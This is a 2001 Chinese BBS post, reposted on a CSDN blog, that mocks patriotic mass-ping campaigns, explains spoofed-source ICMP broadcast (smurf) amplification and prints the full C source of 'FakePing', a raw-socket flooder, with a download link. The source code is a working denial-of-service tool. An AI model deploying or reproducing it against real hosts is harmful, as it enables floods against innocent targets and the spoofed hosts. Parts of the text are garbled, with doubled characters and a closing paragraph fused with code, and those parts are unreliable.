CSDN博客

img Jans

ping flood攻击(转载)

发表于2001/5/14 22:24:00  5736人阅读

发信站: BBS 水木清华站 (Fri May 11 22:26:59 2001)

作者: shotgun

最近不少人又来号召大家一起去Ping死什么什么网站,政治我不懂,不过从技术上来说,无无论什么拒绝服务攻击方式,都需要满足一个条件:用最少的资源换取被攻击者最大的消耗。像这样大家一起去Ping不仅是奇怪的:用最大的资源换取对方最小?

伤害;也是可笑的:人民战争大概属于

50多年前的行为了,在互联网时代,并不是人多就能如何如何的。

一个基本的认识:互联网的中心在美国,中国的这一部分只不过是互联网的一个小小分支((也就是相当于美国的一个城域网的概念),我们通往北美的光缆称为“北美出口”,出口什么意思?大门呀,换句话说,也就是瓶颈,这样大家Ping来Ping去?

首先死的是中国的出口网关(中国的北

美出口带宽也不过是GB级的,很宽么?经得住大家一起往外挤么?),当然,北美出口歇掉掉了,我们显然是看不见美国网站了,喜欢做阿Q的不妨对自己和别人说:“美国被我们炸掉了!”(奇怪吧?可是前些时候不是有自己炮制白宫“被黑”页面到

 散发的?)可是这样不如我们关掉国门

、断开互联网,自己在家里做强国梦好了,想象中我们仍然是在强大的唐朝,世界各地都来来朝拜?

闲话少说,我们今天是来说Ping的,Ping是通过发送ICMP报文(类型8代码0)探寻网络主机是是否存在的一个工具,很久以前,一部分操作系统(例如win95),不能很好处理过大的Ping包,导致出现了Ping to

Death的攻击方式(用大Ping包搞垮对方或者塞满网络),随着操作系统的升级,网络带宽档 升级、计算机硬件的升级,目前,大Ping包基本上没有很大的攻击效果(分布式攻击除外),如果一定要使用Ping包去攻击别的主机,除非是利用TCP/IP协议?

 其他特性或者网络拓扑结构的缺陷放

大攻击的力度(所谓正反馈)

正常情况下,Ping的流程是这样的:

主机A发送ICMP 8,0报文给主机B

     伪装为主机C 错误的回复

主机A--------------------->主机B------------------>主机C

这种情况下,由于主机A只需要不断发送Ping报文而不需要处理返回的EchoReply,所以攻击击力度成倍的增加,同时实际上主机B和主机C都是被进攻的目标,而?

不会留下自己的痕迹,是一种隐蔽的一石二鸟的攻击方法。

上面的方法用SOCK_RAW伪装IP就可以轻松实现,不过即使放大了两倍,对于比较强壮的操作作系统和较大的带宽,也不见得有多大的效果,难道我们又来组织运动?不好吧,还是让敌人给我们放大好了,TCP/IP中有一个概念叫做广播,所谓广播的意思?

会接收发往这个地址的报文(就像电台广播一样),要是?难道?没错!如果我们往广播地地址发送一个ICMP

ECHO报文(就是Ping广播地址一下),结果会得到非常多的回应,以太网内每一个允许接收收广播报文的主机都会回应一个ICMP_ECHOREPLY,如果你想试验,可以在unix的机器上Ping一下你局域网的广播地址,会看到很多回应的的dup包,就是重复的应

因为微软的Ping程序不对多个回应进行解包,收到第一个包以后就丢弃后面的了,同样微软软的系统默认也不回应广播地址的包,所以你最好在一个大量unix主机的局域网内测试?

说到这里,聪明的你肯定知道我想干什么了吧?嘿嘿嘿嘿,没错,当我们伪装成被攻击主机机向一个广播地址发送Ping请求的时候,所有这个广播地址内的主机都会回应这个Ping请求(当然是回应给被攻击主机啦,人人都以为是它Ping的呢),这样,?

内回应Ping包的主机数量)

我写了一个FakePing的工具,可以在Http://www.patching.net/shotgun/FakePing.exe下载载,使用方法是FakePing.exe FakeIP TargetIP

[PacketSize],如果TargetIP是广播地址,那么FakeIP是被攻击目标.

源码公布如下:(写的比较匆忙,代码比较乱,见笑了) */

//////////////////////////////////////////////////////////////////////////

//                                   //

//   FakePing For Win2K by Shotgun                  //

//                                   //

//   Released:    [2001.4]                    //

//   Author:     [Shotgun]                    //

//   Homepage:                            //

//               [http://IT.Xici.Net]          //

//               [http://WWW.Patching.Net]        //

//                                   //

//////////////////////////////////////////////////////////////////////////

#include <winsock2.h>

#include <Ws2tcpip.h>

#include <stdio.h>

#include <stdlib.h>

#define SEQ 0x28376839

#define STATUS_FAILED 0xFFFF file://错误返回值

typedef struct _iphdr file://定义IP首部

{

unsigned char h_verlen; file://4位首部长度,4位IP版本号

unsigned char tos; file://8位服务类型TOS

unsigned short total_len; file://16位总长度(字节)

unsigned short ident; file://16位标识
unsigned short frag_and_flags; file://3位标志位
unsigned char ttl;  file://8位生存时间 TTL

unsigned char proto; file://8位协议 (TCP, UDP 或其他)

unsigned short checksum; file://16位IP首部校验和

unsigned int sourceIP; file://32位源IP地址

unsigned int destIP; file://32位目的IP地址

}IP_HEADER;

//

// 定义ICMP首部

typedef struct _ihdr

{

BYTE i_type; file://8位类型

BYTE i_code; file://8位代码

USHORT i_cksum; file://16位校验和

USHORT i_id; file://识别号(一般用进程号作为识别号)

USHORT i_seq; file://报文序列号

ULONG timestamp; file://时间戳

}ICMP_HEADER;

file://CheckSum:计算校验和的子函数

USHORT checksum(USHORT *buffer, int size)

{
  unsigned long cksum=0;
  while(size >1) {
   cksum+=*buffer++;

size -=sizeof(USHORT);

}

if(size ) {

cksum += *(UCHAR*)buffer;

}

cksum = (cksum >> 16) + (cksum & 0xffff);

cksum += (cksum >>16);

return (USHORT)(~cksum);

}

file://FakePing主函数

int main(int argc, char **argv)

{

int datasize,ErrorCode,counter,flag;

int TimeOut=2000, SendSEQ=0, PacketSize=32;

char SendBuf[65535]={0};

WSADATA wsaData;

SOCKET SockRaw=(SOCKET)NULL;

struct sockaddr_in DestAddr;

IP_HEADER ip_header;

ICMP_HEADER icmp_header;

char FakeSourceIp[20],DestIp[20];

file://接受命令行参数

if (argc<3)

{

printf("FakePing by Shotgun/n");

printf("/tThis program can do Ping-Flooding from a FakeIP/n");

printf("/tUsing a BroadCast IP as the FakeIP will enhance the effect/n");

printf("Email:/n");

printf("/tShotgun@Xici.Net/n");

printf("HomePage:/n");

printf("/thttp://It.Xici.Net/n");

printf("/thttp://www.Patching.Net/n");

printf("USAGE:/n/tFakePing.exe FakeSourceIp DestinationIp [PacketSize]/n");

printf("Example:/n");

printf("/tFakePing.exe 192.168.15.23 192.168.15.255/n");

printf("/tFakePing.exe 192.168.15.23 192.168.15.200 6400/n");

exit(0);

}

strcpy(FakeSourceIp,argv[1]);

strcpy(DestIp,argv[2]);

if (argc>3) PacketSize=atoi(argv[3]);

if (PacketSize>60000)

{

printf("Error! Packet size too big, must <60K/n");

exit(0);

}

printf("Now Fake %s Ping %s using Packet size=%d bytes/n",

FakeSourceIp, DestIp, PacketSize);

printf("/tCtrl+C to Quit/n");

file://初始化SOCK_RAW

if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0)

{

fprintf(stderr,"WSAStartup failed: %d/n",ErrorCode);

ExitProcess(STATUS_FAILED);

}

  if((SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED))==INVALID_SOCKET)

{

fprintf(stderr,"WSASocket() failed: %d/n",WSAGetLastError());

ExitProcess(STATUS_FAILED);

}

flag=TRUE;

file://设置IP_HDRINCL以自己填充IP首部

ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));

if(ErrorCode==SOCKET_ERROR)

printf("Set IP_HDRINCL Error!/n");

__try{

file://设置发送超时
ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));

if (ErrorCode==SOCKET_ERROR)

{

fprintf(stderr,"Failed to set send TimeOut: %d/n",WSAGetLastError());

__leave;

}

memset(&DestAddr,0,sizeof(DestAddr));

DestAddr.sin_family=AF_INET;

DestAddr.sin_addr.s_addr=inet_addr(DestIp);

file://填充IP首部

ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long)); file://高四位IP鞍 本号,?四位首部长度

ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(ICMP_HEADER)); file://16位总长度((字节?

ip_header.ident=1;

file://16位标识

ip_header.frag_and_flags=0;

file://3位标志位

ip_header.ttl=128;

file://8位生存时间 TTL

ip_header.proto=IPPROTO_ICMP;

file://8位协议 (TCP, UDP 或其他)

ip_header.checksum=0;

file://16位IP首部校验和

ip_header.sourceIP=inet_addr(FakeSourceIp); file://32

file://位源IP地址

ip_header.destIP=inet_addr(DestIp);

file://32位目的IP地址

file://填充ICMP首部

icmp_header.i_type = 8;

icmp_header.i_code = 0;

icmp_header.i_cksum = 0;

icmp_header.i_id = 2;

icmp_header.timestamp = 999;

icmp_header.i_seq=999;

memcpy(SendBuf, &icmp_header, sizeof(icmp_header));

memset(SendBuf+sizeof(icmp_header), 'E', PacketSize);

icmp_header.i_cksum = checksum((USHORT *)SendBuf, sizeof(icmp_header)+PacketSize);

memcpy(SendBuf,&ip_header,sizeof(ip_header));

memcpy(SendBuf+sizeof(ip_header), &icmp_header, sizeof(icmp_header));

memset(SendBuf+sizeof(ip_header)+sizeof(icmp_header), 'E', PacketSize);

memset(SendBuf+sizeof(ip_header)+sizeof(icmp_header)+PacketSize, 0, 1);

file://计算发送缓冲区的大小

datasize=sizeof(ip_header)+sizeof(icmp_header)+PacketSize;

ip_header.checksum=checksum((USHORT *)SendBuf,datasize);

file://填充发送缓冲区

memcpy(SendBuf,&ip_header, sizeof(ip_header));

while(1)

{

Sleep(100);

printf(".");

for(counter=0;counter<1024;counter++)

{

file://发送ICMP报文

ErrorCode=sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*)&DestAddr,sizeof(DestAddr));

if (ErrorCode==SOCKET_ERROR) printf("/nSend Error:%d/n",GetLastError());

}

}

}//End of try

 __finally {

if (SockRaw != INVALID_SOCKET) closesocket(SockRaw);

WSACleanup();

}

return 0;

}
/*
 

结语:

爱国主义是必要的,热情是不可少的,但是技术这个东西来不得半点虚假,来不得半点冲动动,是要靠老老实实慢慢钻研的,FakePing技术在互联网上不是什么新技术,很久以前被我们唾弃攻击的美国人就实现过了,难道我们现在还要去组织多少万人?

依靠智慧和知识的阿基米德,曾经用镜子保护了自己的家园,难道我们现在还要靠冲动和盲盲目去强国富民么?

少点冲动和盲目,多点扎实和刻苦,否则吃苦的还是自己。

 Patching Heroes...... 

中华补天

依靠智慧和知识的阿基米德,曾经用镜子保护了自己的家园,难道我们现在还要靠冲动和盲DestAddr));

少点冲动和盲目,多点扎实和刻苦,否则吃苦的还是自己。

 Patching Heroes...... 

中华补天

补充日期: 2001-05-06 11:16:07

撰写本文的目的不是号召大家用FakePing工具去攻击美国站点,只是想略微展示一下用技术术能做到什么?

如果说大家一起Ping是义和团喊着“刀枪不入”去对抗大炮,FakePing也只能算得上是火枪枪而已,而美国已经研制出了航空母舰(操作系统),难道用大刀、长枪、火枪去对 购侥福

这样是很悲壮,但是没有别的方法了?我们不能回去研制自己的战列舰?

要是二炮的专家们也出来参加Ping, 要是西昌的技术人员也去搞运动,我们不亡国才怪!

 

 

0 0

相关博文

我的热门文章

img
取 消
img